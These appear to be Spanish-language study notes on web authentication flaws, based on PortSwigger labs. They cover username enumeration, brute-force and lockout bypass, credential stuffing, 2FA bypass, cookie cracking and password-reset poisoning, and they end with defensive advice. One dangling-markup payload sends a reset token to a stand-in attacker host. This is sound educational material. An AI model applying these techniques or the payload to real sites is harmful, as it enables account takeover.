En esta sección hablaré sobre que es la autenticación, como se pueden exponer fallas en las aplicaciones web a nivel de autenticación y unos cuantos laboratorios para reforzar el conocimiento.
Last updated
Las vulnerabilidades de autenticación suelen ser un poco faciles de entender, sin embargo son fundamentales tener el concepto entre autenticación y seguridad, ya que esto es lo que nos provee el acceso a datos confidenciales de una aplicación.
Ademas las vulnerabilidades de autenticación tiene un factor importante y es que los ataques por autenticación siempre nos permiten obtener una superficie de ataque adicional para futuras vulnerabilidades.
En esta sección voy a aprender:
Los mecanismos de autenticación más comunes utilizados por los sitios web.
Posibles vulnerabilidades en estos mecanismos.
Vulnerabilidades inherentes en diferentes mecanismos de autenticación.
Vulnerabilidades típicas que se introducen por su implementación incorrecta.
Cómo puede hacer que sus propios mecanismos de autenticación sean lo más sólidos posible.
En las URLs, el símbolo "?" se utiliza para separar la parte principal de la URL (la dirección del recurso) de los parámetros de consulta. Cuando se utiliza el símbolo "?", generalmente indica que la URL está pasando información adicional al recurso web o a la aplicación web.
La estructura de una URL típica se ve así:
Es el proceso para poder verificar la identidad de un usuario o cliente mediante tecnicas especificas de autenticación; la realidad es que los sitios web están expuestos a cualquier persona dentro de internet entonces el tener un metodo fuerte de autenticación fortalece la seguridad de una aplicacion web.
Hay tres tipos principales de autenticación:
Algo que sabes, como una contraseña o la respuesta a una pregunta de seguridad. A veces se les llama "factores de conocimiento".
Algo que tienes, es un objeto físico como un teléfono móvil o un token de seguridad. A veces se les llama "factores de posesión".
Algo que eres o haces. Por ejemplo, su biometría o patrones de comportamiento. A veces se les llama "factores de inherencia".
La autenticación es el proceso de verificar que un usuario es quien dice ser. La autorización implica verificar si un usuario tiene permiso para hacer algo.
Por ejemplo, la autenticación determina si alguien que intenta acceder a un sitio web con el nombre de usuario Carlos123es realmente la misma persona que creó la cuenta.
Una vez Carlos123autenticado, sus permisos determinan qué está autorizado a hacer. Por ejemplo, pueden estar autorizados a acceder a información personal sobre otros usuarios o realizar acciones como eliminar la cuenta de otro usuario.
Muchas veces suele ser por una mala implementacion de los metodos de autenticacion en la aplicacion, lo que permite realizar ataque por fuerza bruta.
Tambien puede verse una aplicacion expuesta a una vulnerabilidad de autenticacion cuando se tiene una logica o una codificacion de la app un tanto deficiente, lo que permite que un atacante eluda por completo los mecanismos de autenticacion, a esto se le conoce como “autenticacion rota”
Esto es algo importante que aunque se supone que los desarrolladores deben tener esto siempre presente aun así siempre hay puntos que no se toman en cuenta, y es que cuando una app no tiene en cuenta ciertos parametros para tener una logica robusta y solida, la aplicacion se puede ver expuesta a comportamientos inesperados y errores no deseados que pueden o no conllevar algun tipo de vulnerabilidad posiblemente atacable,asi que la logica es muy importante.
La verdad es que el impacto que tiene una autenticacion vulnerable es muy alto ya que cuando un atacante lograr comprometer una autenticacion de un usuario, esta logrando entrar a algo que se supone no era permitido para un usuario que no hiciera parte del sistema y en ese caso el atacante ya esta añadiendo una nueva superficie de ataque ya que ha ingresado al sistema por medio de un usuario normal el cual le permite acceder a datos privados o de NO acceso al publico.
Ahora, ¿que pasa si se logra vulnerar una autenticacion con un user con permisos de ROOT o un admin? Seria mucho peor ya que se podria acceder a informacion muchisimo mas confidencial y de mayor impacto en la organizacion, porque ya se podria estar accediendo a gran parte de la infraestructura de la App, esto compromete no solo la APP sino toda la empresa de esa aplicacion debido a la gravedad.
Además recordemos que muchas veces un ataque de alta gravedad no se puede llevar desde sitios expuestos publicos pero una vez logramos entrar a uno privado, la posibilidad de ataques de alta gravedad se aumenta muchisimo más.
El sistema de autenticación de un sitio web generalmente consta de varios mecanismos distintos en los que pueden ocurrir vulnerabilidades. Algunas vulnerabilidades son aplicables en todos estos contextos. Otros son más específicos de la funcionalidad proporcionada.
Analizaremos más de cerca algunas de las vulnerabilidades más comunes en las siguientes áreas:
LABS
Esta es de las primeras vulnerabilidades de autenticacion basado en la contraseña del user.
y es que cuando un usuario se quiere loguear en una app debe registrarse con una username y una contraseña que el mismo crea o el admin le provee, el caso es que es secreta y nadie la debería saber además del user y del admin si fue el que la proveyo, ahora bien basta con que alguien más logré obtener la contraseña del usuario para haber vulnerado la autenticacion.
En esta seccion exploraremos un poco esta vulnerabilidad con algunos Laboratorios 😈
Los sitios web que dependen del inicio de sesión basado en contraseña como único método para autenticar a los usuarios pueden ser muy vulnerables si no implementan suficiente protección de fuerza bruta.
Durante la auditoría, verifique si el sitio web revela públicamente posibles nombres de usuario. Por ejemplo, ¿puedes acceder a los perfiles de usuario sin iniciar sesión? Incluso si el contenido real de los perfiles está oculto, el nombre utilizado en el perfil a veces es el mismo que el nombre de usuario de inicio de sesión. También debe verificar las respuestas HTTP para ver si se divulga alguna dirección de correo electrónico. En ocasiones, las respuestas contienen direcciones de correo electrónico de usuarios con muchos privilegios, como administradores o soporte de TI.
De manera similar, las contraseñas pueden ser de fuerza bruta, y la dificultad varía según la seguridad de la contraseña. Muchos sitios web adoptan algún tipo de política de contraseñas, lo que obliga a los usuarios a crear contraseñas de alta entropía que son, al menos en teoría, más difíciles de descifrar utilizando únicamente la fuerza bruta. Por lo general, esto implica hacer cumplir las contraseñas con:
Un número mínimo de caracteres.
Una mezcla de letras minúsculas y mayúsculas.
Al menos un carácter especial
En los casos en que la política requiere que los usuarios cambien sus contraseñas periódicamente, también es común que los usuarios simplemente realicen cambios menores y predecibles en su contraseña preferida. Por ejemplo, Mypassword1!se convierte Mypassword1?oMypassword2!. (Ojo esto es importante, porque muchos lo hacen en pleno 2023)
Este conocimiento de las credenciales probables y los patrones predecibles significa que los ataques de fuerza bruta a menudo pueden ser mucho más sofisticados y, por lo tanto, efectivos, que simplemente iterar a través de cada combinación posible de personajes.
La enumeración de nombres de usuario ocurre cuando un atacante puede observar cambios en el comportamiento del sitio web para identificar si un nombre de usuario determinado es válido.
La enumeración de nombres de usuario normalmente ocurre en la página de inicio de sesión, por ejemplo, cuando ingresa un nombre de usuario válido pero una contraseña incorrecta, o en los formularios de registro cuando ingresa un nombre de usuario que ya está en uso. Esto reduce en gran medida el tiempo y el esfuerzo necesarios para forzar un inicio de sesión porque el atacante puede generar rápidamente una lista corta de nombres de usuario válidos.
Al intentar forzar una página de inicio de sesión por fuerza bruta, debes prestar especial atención a las diferencias en:
Códigos de estado: durante un ataque de fuerza bruta, es probable que el código de estado HTTP devuelto sea el mismo para la gran mayoría de las conjeturas porque la mayoría de ellas serán incorrectas. Si una suposición devuelve un código de estado diferente, esto es una fuerte indicación de que el nombre de usuario era correcto. Es una buena práctica que los sitios web devuelvan siempre el mismo código de estado independientemente del resultado, pero esta práctica no siempre se sigue.
Si interceptamos desde burp todas las solicitudes http podemos ver y determinar cual podria ser una correcta en caso tal de que devuelva un codigo de estado diferente al de todos los demás.
Mensajes de error: a veces el mensaje de error devuelto es diferente dependiendo de si tanto el nombre de usuario como la contraseña son incorrectos o solo la contraseña era incorrecta. Es una buena práctica que los sitios web utilicen mensajes genéricos idénticos en ambos casos, pero a veces se producen pequeños errores tipográficos. Un solo carácter fuera de lugar hace que los dos mensajes sean distintos, incluso en los casos en que el carácter no es visible en la página representada.
Errores tan simples como una tilde o una comilla pueden significativamente darnos respuesta para si una contraseña o username es valido o incorrecto y con esto reducir el tiempo de ataque por fuerza bruta.
Tiempos de respuesta: si la mayoría de las solicitudes se manejaron con un tiempo de respuesta similar, cualquiera que se desvíe de este sugiere que algo diferente estaba sucediendo detrás de escena. Esta es otra indicación de que el nombre de usuario adivinado podría ser correcto. Por ejemplo, es posible que un sitio web solo compruebe si la contraseña es correcta si el nombre de usuario es válido. Este paso adicional podría provocar un ligero aumento en el tiempo de respuesta. Esto puede ser sutil, pero un atacante puede hacer que este retraso sea más obvio ingresando una contraseña excesivamente larga que el sitio web tarda mucho más en procesar.
Esto jodidamente tambien dejaria al descubierto a un sitio web, ya que seria muy evidente para un atacante y los posibles intentos nos darían respuesta certeras, para tener informacion que antes no teniamos.
Esto jodidamente tambien dejaria al descubierto a un sitio web, ya que seria muy evidente para un atacante y los posibles intentos nos darían respuesta certeras, para tener informacion que antes no teniamos.
Es muy probable que un ataque de fuerza bruta implique muchas conjeturas fallidas antes de que el atacante comprometa con éxito una cuenta. Lógicamente, la protección de fuerza bruta gira en torno a intentar que sea lo más complicado posible para automatizar el proceso y reducir la velocidad a la que un atacante puede intentar iniciar sesión. Las dos formas más comunes de prevenir ataques de fuerza bruta son:
Bloquear la cuenta a la que el usuario remoto intenta acceder si realiza demasiados intentos fallidos de inicio de sesión
Bloquear la dirección IP del usuario remoto si realiza demasiados intentos de inicio de sesión en rápida sucesión
Ambos enfoques ofrecen distintos grados de protección, pero ninguno es invulnerable, especialmente si se implementa utilizando una lógica defectuosa.
Por ejemplo, es posible que a veces descubras que tu IP está bloqueada si no inicias sesión demasiadas veces. En algunas implementaciones, el contador de la cantidad de intentos fallidos se reinicia si el propietario de la IP inicia sesión correctamente. Esto significa que un atacante simplemente tendría que iniciar sesión en su propia cuenta cada pocos intentos para evitar que se alcance este límite.
En este caso, simplemente incluir sus propias credenciales de inicio de sesión a intervalos regulares en la lista de palabras es suficiente para que esta defensa sea prácticamente inútil.
Una forma en que los sitios web intentan evitar la fuerza bruta es bloquear la cuenta si se cumplen ciertos criterios sospechosos, generalmente un número determinado de intentos fallidos de inicio de sesión. Al igual que con los errores de inicio de sesión normales, las respuestas del servidor que indican que una cuenta está bloqueada también pueden ayudar a un atacante a enumerar los nombres de usuario.
Bloquear una cuenta ofrece cierta protección contra la fuerza bruta dirigida a una cuenta específica. Sin embargo, este enfoque no logra prevenir adecuadamente los ataques de fuerza bruta en los que el atacante simplemente intenta obtener acceso a cualquier cuenta aleatoria que pueda.
Por ejemplo, se puede utilizar el siguiente método para solucionar este tipo de protección:
Establezca una lista de nombres de usuario candidatos que probablemente sean válidos. Esto podría realizarse mediante la enumeración de nombres de usuarios o simplemente basándose en una lista de nombres de usuarios comunes.
Decida una lista muy pequeña de contraseñas que crea que probablemente tenga al menos un usuario. Fundamentalmente, la cantidad de contraseñas que seleccione no debe exceder la cantidad de intentos de inicio de sesión permitidos. Por ejemplo, si ha calculado que el límite es de 3 intentos, deberá elegir un máximo de 3 intentos de contraseña.
Utilizando una herramienta como Burp Intruder, pruebe cada una de las contraseñas seleccionadas con cada uno de los nombres de usuario candidatos. De esta manera, puedes intentar aplicar fuerza bruta a cada cuenta sin activar el bloqueo de la cuenta. Solo necesita que un único usuario use una de las tres contraseñas para comprometer una cuenta.
El bloqueo de cuentas tampoco protege contra ataques de relleno de credenciales. Esto implica el uso de un diccionario masivo de username:password pares, compuesto por credenciales de inicio de sesión genuinas robadas en violaciones de datos.
y este relleno de credenciales se basa en el hecho de que muchas personas utilizan muchos tipos de contraseñas para todo tipo de servicios haciendo que con un solo servicio que se filtré en un ataque ya tenga acceso a muchos otros servicios que tienen la misma pass y username, esto es lo grave del relleno de credenciales porque prueba diversidad de opciones referente a username y password. El bloqueo de cuentas no protege contra el relleno de credenciales porque cada nombre de usuario solo se intenta una vez. El relleno de credenciales es particularmente peligroso porque a veces puede hacer que el atacante comprometa muchas cuentas diferentes con un solo ataque automatizado.
Otra forma en que los sitios web intentan prevenir ataques de fuerza bruta es mediante la limitación de la tasa de usuarios. En este caso, realizar demasiadas solicitudes de inicio de sesión en un corto período de tiempo provocará que se bloquee su dirección IP. Normalmente, la IP sólo se puede desbloquear de una de las siguientes maneras:
Automáticamente después de que haya transcurrido un cierto período de tiempo
Manualmente por un administrador
Manualmente por el usuario después de completar exitosamente un CAPTCHA
A veces se prefiere la limitación de la tasa de usuario al bloqueo de cuentas debido a que es menos propenso a la enumeración de nombres de usuario y a ataques de denegación de servicio. Sin embargo, todavía no es completamente seguro. Como vimos en un ejemplo en una práctica de laboratorio anterior, hay varias formas en que un atacante puede manipular su IP aparente para evitar el bloqueo.
Como el límite se basa en la tasa de solicitudes HTTP enviadas desde la dirección IP del usuario, a veces también es posible evitar esta defensa si puedes descubrir cómo adivinar varias contraseñas con una sola solicitud.
Esta es una de las autenticaciones más estandar y antiguas y aunque se ha implementando mucho en la actualidad ya no es muy segura por si sola, expliquemos que es: es una autenticación la cual toma un username y password de una pagina web y se la manda al servidor el servidor lo toma como las credenciales y devuelve un token de autorización en base64 siendo la conjunción entre (username:password) y lo devuelve como un:
Authorization: Basic base64(username:password)
Ahora el problema gravisimo con esto es que no se tienen las medidas seguras para poder protegerlo ya que una pagina web solo con está autenticación podría verse expuesta a ataques del tipo “man in the middle”, porque constantemente se envían las credenciales del usuario en cada solicitud, lo cual no es correcto ni seguro.
Para estos casos especificos es muy seguro que por lo menos sostenga en la autenticación HSTS → HTTP Strict Transport Security, que es una capa extra de seguridad a la autenticación mediante HTTP →
Ya que esto es lo que hace HSTS: obliga a que todas las conexiones con la página se hagan por medio del protocolo HTTPS.
Además, las implementaciones de autenticación básica HTTP a menudo no admiten la protección de fuerza bruta. Como el token consta exclusivamente de valores estáticos, esto puede dejarlo vulnerable a la fuerza bruta.
En algunos casos, explotar la autenticación básica HTTP vulnerable solo puede otorgarle a un atacante acceso a una página aparentemente poco interesante. Sin embargo, además de proporcionar una superficie de ataque adicional, las credenciales expuestas de esta manera podrían reutilizarse en otros contextos más confidenciales.
En resumen pudimos entender como funciona HSTS para que sirve y porque debe ser implementado en autenticaciones con HTTP para que sean seguras, sin embargo ahora entramos a otro plano y aunque sabemos que cuando se implementa HSTS las cosas parecen ser más seguras porque los datos se envian cifrados si un atacante implementa un man-in-the-middle no podrá hacer nada al respecto porque tenemos cifrado todo; sin embargo hay algunos ataques que pueden hacer algo al respecto en esos casos en especifico, hablemos del ataque SSLStrip.
En resumidas cuentas para entenderlo a grosso modo, es una forma de evitar que un usuario establezca una conexión segura con una aplicación web; y bueno ya sabemos todas las complicaciones que podría generar eso, asi que vamos a ello.
En el año 2009 marlinSpike fue el que creo el método, en ese tiempo el era el encargado de ciberseguridad en twitter; oh wow.
Ya que este es el esencial para poder llevar a cabo un ataque SSLStrip si podemos detener el MITM no habrá tampoco SSLStrip así que aquí van ciertos puntos para protegernos de un ataque MITM.
Activar la Politica HSTS: como vimos antes esto si que es esencial para poder protegernos.
Usar una VPN: Las VPN (Virtual Private Network) son una herramienta indispensable para navegar de forma segura en internet. Estos softwares agregarán una capa de cifrado adicional a tus comunicaciones
“cualquier medida de seguridad, su seguridad sólo es tan segura como su implementación”.
Muchos sitios web dependen exclusivamente de la autenticación de un solo factor mediante una contraseña para autenticar a los usuarios. Sin embargo, algunos requieren que los usuarios demuestren su identidad mediante múltiples factores de autenticación.
Verificar los factores biométricos no es práctico para la mayoría de los sitios web. Sin embargo, es cada vez más común ver autenticación de dos factores (2FA) tanto obligatoria como opcional basada en algo que sabes y algo que tienes . Por lo general, esto requiere que los usuarios ingresen una contraseña tradicional y un código de verificación temporal desde un dispositivo físico fuera de banda que tengan en su poder.
Si bien a veces es posible que un atacante obtenga un único factor basado en el conocimiento, como una contraseña, es considerablemente menos probable que pueda obtener simultáneamente otro factor de una fuente fuera de banda. Por este motivo, se ha demostrado que la autenticación de dos factores es más segura que la autenticación de un solo factor. Sin embargo, como ocurre con cualquier medida de seguridad, su seguridad sólo es tan segura como su implementación. La autenticación de dos factores mal implementada puede ser superada, o incluso omitida por completo, al igual que la autenticación de un solo factor.
También vale la pena señalar que todos los beneficios de la autenticación multifactor solo se logran verificando múltiples factores diferentes . Verificar el mismo factor de dos maneras diferentes no es una verdadera autenticación de dos factores. La 2FA basada en correo electrónico es un ejemplo de ello. Aunque el usuario debe proporcionar una contraseña y un código de verificación, acceder al código solo depende de que conozca las credenciales de inicio de sesión de su cuenta de correo electrónico. Por lo tanto, el factor de autenticación de conocimientos simplemente se verifica dos veces.
Es simple, cuando en cierta forma la logica del factor de auntenticación tiene fallas en su logica de implementación ya es suficiente para que un atacante pueda intentar mirar como atacar ese defecto logico de la forma más simple posible que sería “omitiendo el 2FA” o “Bypass 2FA”.
Si primero se le solicita al usuario que ingrese una contraseña y luego se le solicita que ingrese un código de verificación en una página separada, el usuario se encuentra efectivamente en un estado de "iniciar sesión" antes de ingresar el código de verificación. En este caso, vale la pena probar para ver si puede pasar directamente a las páginas "solo para quienes han iniciado sesión" después de completar el primer paso de autenticación. Ocasionalmente, encontrará que un sitio web en realidad no verifica si completó o no el segundo paso antes de cargar la página y ahi está todo el bororó porque un atacante puede iniciar por ahí su ataque tan solo por ese problema que parece no ser problema para los desarrolladores.
Vamos con el Laboratorio de omitir un 2FA, a ver que tal:
A veces el sitio web no autentica que cuando un usuario ha iniciado sesión en el primer paso, no valida el proceso de auntenticación del segundo paso enviando el digito del 2FA, y ahi es cuando se inicia un error en la logica ya que desde un principio ambos partes del logueo deben validarse igualmente de la misma manera sin que ninguna persona externa pueda modificarlos ni nada por el estilo, demos un ejemplo:
El usuario inicia sesión con sus credenciales normales en el primer paso de la siguiente manera:
Luego se les asigna una cookie relacionada con su cuenta, antes de pasar al segundo paso del proceso de inicio de sesión:
Al enviar el código de verificación, la solicitud utiliza esta cookie para determinar a qué cuenta intenta acceder el usuario:
En este caso, un atacante podría iniciar sesión con sus propias credenciales pero luego cambiar el valor de la accountcookie a cualquier nombre de usuario arbitrario al enviar el código de verificación.
Esto es extremadamente peligroso si el atacante puede aplicar fuerza bruta al código de verificación, ya que le permitiría iniciar sesión en cuentas de usuarios arbitrarios basándose exclusivamente en su nombre de usuario. Ni siquiera necesitarían saber la contraseña del usuario.
Y con base en esto, vamos a probar un laboratorio en el cual pongamos a prueba este concepto:
Dentro de esta fase nos encontramos con otro tipo de ataque mediante la autenticación y es que este se puede llevar a cabo cuando la pagina o aplicación intenta tomar el control desde el inicio de sesión sin embargo recae toda la seguridad en proteger el inicio de sesión a otros ataques como los que vimos anteriormente, sin embargo una aplicación también puede tener reset password or change password, que en cierta manera también son algunos vectores para la aplicación que no se tienen en cuenta al momento de la seguridad en la aplicación.
Una característica común es la opción de permanecer conectado incluso después de cerrar la sesión del navegador. Suele ser una casilla de verificación simple con la etiqueta "Recordarme" o "Mantenerme conectado".
Esta es probablemente otro de los mecanismos de autenticación en los que uno como atacante puede intentar explotar, en que consiste:
Una pagina que le da unas credenciales a un usuario, le da la “oportunidad” de mantenerse conectado aun despues de cerrar el navegador y sesión, esto con el fin de una practicidad y mejora en ingresar rapidamente a la aplicación web, el problema es que la forma de crear esto es:
Mediante una cookie persistente, que es la que omite todo el proceso de inicio de sesión para ir directamente a la aplicación, el problema con esto es que la cookie se genera con la concatenación de datos como el username del usuario más una marca de tiempo, algunos INCLUSO utilizan la contraseña como parte de la cookie 😨 lo cual es algo gravisimo porque un atacante puede hacer muchas cosas, por ejm:
Yo como atacante me creo una cuenta, tomo mi cookie persistente la intento comprender y entender como se genera, la descifro y empiezo por fuerza bruta a intentar deducir la de otros usuarios, como sabemos que es una concatenación entre username+password, ahí está el dilema.
Muchos sitios o paginas creen que “cifrando” la cookie en BASE64 van a mantener la seguridad y será indescifrable la cookie, lo cual es algo totalmente ERRADO, BASE64 no es un algoritmo o un estándar de cifrado, es simplemente una codificación, codificación es muy diferente a cifrar, la codificación utiliza valores estaticos A→5 B→2, etc son simples ejemplos pero la A nunca dejará de ser 5 y será el valor que siempre tendrá y ahí recae el problema porque para un atacante descifrar la codificación en base64 será pan comido, literalmente.
Dentro de esta fase nos encontramos con otro tipo de ataque mediante la autenticación y es que este se puede llevar a cabo cuando la pagina o aplicación intenta tomar el control desde el inicio de sesión sin embargo recae toda la seguridad en proteger el inicio de sesión a otros ataques como los que vimos anteriormente, sin embargo una aplicación también puede tener reset password or change password, que en cierta manera también son algunos vectores para la aplicación que no se tienen en cuenta al momento de la seguridad en la aplicación.
Una característica común es la opción de permanecer conectado incluso después de cerrar la sesión del navegador. Suele ser una casilla de verificación simple con la etiqueta "Recordarme" o "Mantenerme conectado".
Esta es probablemente otro de los mecanismos de autenticación en los que uno como atacante puede intentar explotar, en que consiste:
Una pagina que le da unas credenciales a un usuario, le da la “oportunidad” de mantenerse conectado aun despues de cerrar el navegador y sesión, esto con el fin de una practicidad y mejora en ingresar rapidamente a la aplicación web, el problema es que la forma de crear esto es:
Mediante una cookie persistente, que es la que omite todo el proceso de inicio de sesión para ir directamente a la aplicación, el problema con esto es que la cookie se genera con la concatenación de datos como el username del usuario más una marca de tiempo, algunos INCLUSO utilizan la contraseña como parte de la cookie 😨 lo cual es algo gravisimo porque un atacante puede hacer muchas cosas, por ejm:
Yo como atacante me creo una cuenta, tomo mi cookie persistente la intento comprender y entender como se genera, la descifro y empiezo por fuerza bruta a intentar deducir la de otros usuarios, como sabemos que es una concatenación entre username+password, ahí está el dilema.
Muchos sitios o paginas creen que “cifrando” la cookie en BASE64 van a mantener la seguridad y será indescifrable la cookie, lo cual es algo totalmente ERRADO, BASE64 no es un algoritmo o un estándar de cifrado, es simplemente una codificación, codificación es muy diferente a cifrar, la codificación utiliza valores estaticos A→5 B→2, etc son simples ejemplos pero la A nunca dejará de ser 5 y será el valor que siempre tendrá y ahí recae el problema porque para un atacante descifrar la codificación en base64 será pan comido, literalmente.
Incluso el uso de un cifrado adecuado con una función hash unidireccional no es completamente infalible. Si el atacante puede identificar fácilmente el algoritmo de hash y no se utiliza sal, puede potencialmente forzar la cookie con fuerza bruta simplemente aplicando hash en sus listas de palabras. Este método se puede utilizar para evitar los límites de intentos de inicio de sesión si no se aplica un límite similar a las suposiciones de cookies.
En algunas ocasiones las aplicaciones aplican un marco de codigo abierto, lo cual significa que en la mayoria de casos la documentación de la aplicación esta al público en general por lo cual se puede encontrar el registro de las cookies y su construcción como tal, esto para uno como atacante o pentester resulta util ya que nos permite deducir o entender en gran manera la construcción de la cookie.
Por lo general estas cookies si tienen hash se refieren a un hash de listas facilmente descifrable desde internet, basta solo con buscar el hash en un motor de busqueda y esperar para encontrar la información correspondiente; como fue el caso del laboratorio anterior que pudimos encontrar el hash en MD5, de 128 bits 🤣
Esto con el fin de que sea mucho más complejo intentar descifrar el hash, una Salt o un Relleno del tipo PKCS#7 en AES son implementados con mucha constancia ya que sirven en gran manera y ayuda a prevenir este tipo de ataques.
Este suele ser un error común que implementan las pagina y es que a veces por hacer más hacen menos, en este caso se suele acudir al envio de restablecimiento de contraseñas por Email/correo donde se suele enviar la contraseña restablecida (nueva) sin embargo a menos que sea una contraseña temporal no tendrá severos ataques por intermediario, pero si es restablecimiento de contraseña para una contraseña fija probablemente se vea envuelta en un ataque de intermediario ya que los correos o otro tipo de destino para la contraseña suelen ser canales o medios inseguros para este proceso donde un atacante puede interceptar este proceso y robar la credenciales.
Esta suele ser otra opción pero un poco más viable para el tema de restablecimiento, donde se lleva a cabo el restablecimiento de contraseña a una URL fija Unica para el usuario; y hasta ahí el enfoque puede considerarse seguro o al menos no susceptible a ataques, sin embargo pasa algo y es que en la implementación a veces suelen dejarse parametros muy obvios (identificables) que se establecen como parametro en la URL, por ejemplo:
http://vulnerable-website.com/reset-password?user=**victim-user**
En este ejemplo de url un atacante podría facilmente interceptar un parametro de victim-user identificado, cambiarlo para restablecer una contraseña de ese user.
En este caso podríamos reemplazar la URL el parametros especifico de ?user con un Token de alta entropía difícil de adivinar y crear la url de reinicio en base a esto, un ejemplo de URL podría ser:
http://vulnerable-website.com/reset-password?token=**a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8**
Cuando el usuario visita esta URL, el sistema debe verificar el Token generado y verificar si se encuentra en el backend de la aplicación, y de ser así saber cual es la contraseña que se debe restablecer, en caso tal, el sistema después de un corto periodo de tiempo debe hacer caducar el token y destruirse inmediatamente una vez que se haya restablecido la contraseña.
El problema viene cuando el sistema no vuelve a validar el token y pasa por alto el token, en este caso un atacante (yo) inicia sesión en su propia cuenta tomó la url de restablecimiento, cambió el parametro del token por el de un user potencialmente víctima y que me redirija a la URL de destino para el restablecimiento de la contraseña y así no más. JAJAJAJAJAJAJAJA
Si la URL en el correo electrónico de restablecimiento se genera dinámicamente, esto también puede ser vulnerable a un envenenamiento por restablecimiento de contraseña. En este caso, un atacante puede potencialmente robar el token de otro usuario y utilizarlo para cambiar su contraseña.
Este metodo tiene algo particular y es que trata de tomar una pagina del sitio web que sea la de restablecer la contraseña e infectarla bajo un dominio propio de uno como atacante para tener control de la pagina y poder obtener el token de restablecimiento para modificarlo al usuario posiblemente victima, veamos un diagrama de ejemplo →
Este es un tipo de envenenamiento en el que el atacante utiliza ciertas facilidades que están presentes en las etiquetas, como por ejm una etiqueta "><img src='//attacker-website.com? , uno simplemente si la aplicación no hace limitaciones con ciertos caracteres como por ejm: el “ o > , uno simplemente puedo añadirlos como concatenación que permitiría tomar una sección de más dentro de las etiquetas con el fin de añadir algo más.
En este caso el ejemplo que dí de la img con su src=“”, es algo super ejemplar, a veces las paginas dejan como src= de donde se encuentra una imagen, la URL de una pagina deployada que tiene la imagen en cuestión que queremos mostrar, por tanto es facilmente falsificable por una URL diferente, en este caso nuestra que haga referencia a algun server en cuestión o algo por el estilo donde hagamos referencia a información o payloads específicos que a posteriori podemos utilizar en contra de la aplicación.
"> + Lo que queremos añadir
"><img src='//attacker-website.com?
Cualquier atributo que realice una solicitud externa se puede utilizar para el marcado colgante.
Es de mucha importancia proteger contra las credenciales en especial cuidado cuando se intenta redirigir un sitio de HTTPS → HTTP
No revelar un conjunto válido de credenciales de inicio de sesión a un atacante, como era el caso de nuestro laboratorios de port swigger que siempre teníamos las credenciales de wiener:peter
Por ejm cabe resaltar y es muy obvio que a veces las paginas dejan crear al usuario la contraseña que desee sin ningún parametro especifico o reglas entropícas con el fin de una contraseña robusta, es por eso que por facilidad los usuario crean contraseñas tan faciles de predecir y atacar como por ejm: contraseña123
Es por eso que nosotros mismos como desarrolladores debemos aportar o contraseñas seguras proporcionadas por el mismo sitio web o establecer reglas especificas para crear contraseñas, con reglas especificas me refiero a que el usuario cree su propia contraseña y dependiendo de si es segura o no el sitio web mismo se lo vaya indicando, una biblioteca para aplicar esto es la de JavaScript que se llama zxcvbn desarrollada por dropbox, nos permite crear contraseñas seguras comparandolas con el indicador de contraseña altamente segura (que es un verificador de contraseña), esto puede imponer el uso de contraseñas más seguras.
Es considerablemente un poco más facil para uno como atacante lograr vulnerar un sitio web si sabemos la existencia de un username en la aplicación, ya por ahi podemos partir para diversos enfoques de ataque, a veces por la naturaleza misma de una aplicación web es muy peligroso revelar algún username activo porque puede tener weakness la aplicación que posiblemente desconozca.
Independiente de si un usuario es correcto o no, se debe mantener siempre un mensaje de error genericos para los casos en que no sea correcto, porque como ya sabemos la diferencia entre una tilde o un punto hace MUCHO la diferencia para uno como atacante, por ello siempre mantener mensajes genericos identicos, y además siempre se debe devolver el mismo estado HTTP para los casos de los inicios de sesión, si se inicia sesión correctamente pues un 302 de redirección pero si por ejm no se lograr iniciar sesión solo un 200 ok que muestre la pagina de incorrect password or username por ejm.
Otro punto importante: Lograr que los tiempos de respuesta siempre sean los mismos, sabemos que si una respuesta se demora más de lo inusual, ahi hay gato encerrado y para uno como atacante eso sería ya información plus.
En estos casos es cuando se puede implementar para ataques de fuerza bruta delimitaciones mediante la obtención de la dirección IP del atacante para de esa forma restringir y bloquear las peticiones, esto con el fin de prevenir o al menos interrumpir cualquier ataque de fuerza bruta por parte de un atacante.
Si así tal cual se pueden bypassear estas formas de protección contra fuerza bruta es por ello que en estos casos lo que se puede hacer es intentar crear el proceso para inicio de sesión lo más manual y tedioso (de proceso manual) para que sea más engorroso para un atacante intentar atacar por fuerza bruta, en estos casos es cuando puede ser de ayuda un CAPTCHA, cada vez que se exceda el limite de intentos de inicio de sesión.
Esto no garantiza que se elimine por completo la amenaza de ataque por fuerza bruta sin embargo puede hacer el proceso más tedioso para un atacante.
Es demasiado importante que siempre intentemos testear nuestra logica en la autenticación para iniciar sesión de ello podremos ver posibles fallos o mejoras, esto con el fin de poder evitar posibles ataques en el futuro, ahora bien es importante tener presente que un posible fallo en la autenticación de un sitio web se puede prestar para vulnerar todo el aplicativo web, por ello se debe rectificar las veces que sean necesarias la logica de X aplicación.
Texto portSwigger → Auditar minuciosamente cualquier lógica de verificación o validación para eliminar fallas es absolutamente clave para una autenticación sólida. Un control que se puede eludir no es, en última instancia, mucho mejor que ningún control.
Tipo un code a un numero de telefono, pero que sea generado el codigo con una App en especifico, Esto con el fin de proteger la seguridad y autenticidad de la aplicación, ya que las aplicaciones que se encargan de generar el codigo de seguridad especifico protegen aún más y son más seguros debido a que están diseñados especificamente para ello.
Y por ultimo pero no menos importante siempre toca asegurarse de que una aplicación web valide por completo la 2FA ya que de nada sirve si solo se valida el primer inicio de sesión y el 2FA solo es una pantalla que no valida y ratifica la legitimidad del usuario, como ya habíamos visto en laboratorios que resolvimos facilmente podemos saltar bypassear el 2FA de una aplicación.
Por ejemplo, en la URL "", el símbolo "?" indica que estamos pasando un parámetro de consulta llamado "q" con el valor "ejemplo" al recurso "buscar" en el dominio "". Esto permite a la aplicación web en el servidor procesar la consulta y proporcionar resultados relacionados con "ejemplo".
Vulnerabilidades en LABS
Vulnerabilidades en LABS
Este tipo de ataques suele llevarse a cabo con herramientas automatizadas que prueban diversos valores multiples para el input de contraseña a punta de prueba y error hasta poder lograr dar con la correcta, ahora bien esto no significa que se prueba a la mansalva caracteres como claro que no, se ajustan ciertas entradas para el ataque, muchas veces el atacante toma mucha informacion publica como rango de valores posibles para el ataque por fuerza bruta creando un payload de caracteres especificos, un diccionario especifico para el ataque por fuerza bruta, esto hace que el atacante ajuste el ataque para poder hacer conjeturas mucho más fundamentadas.
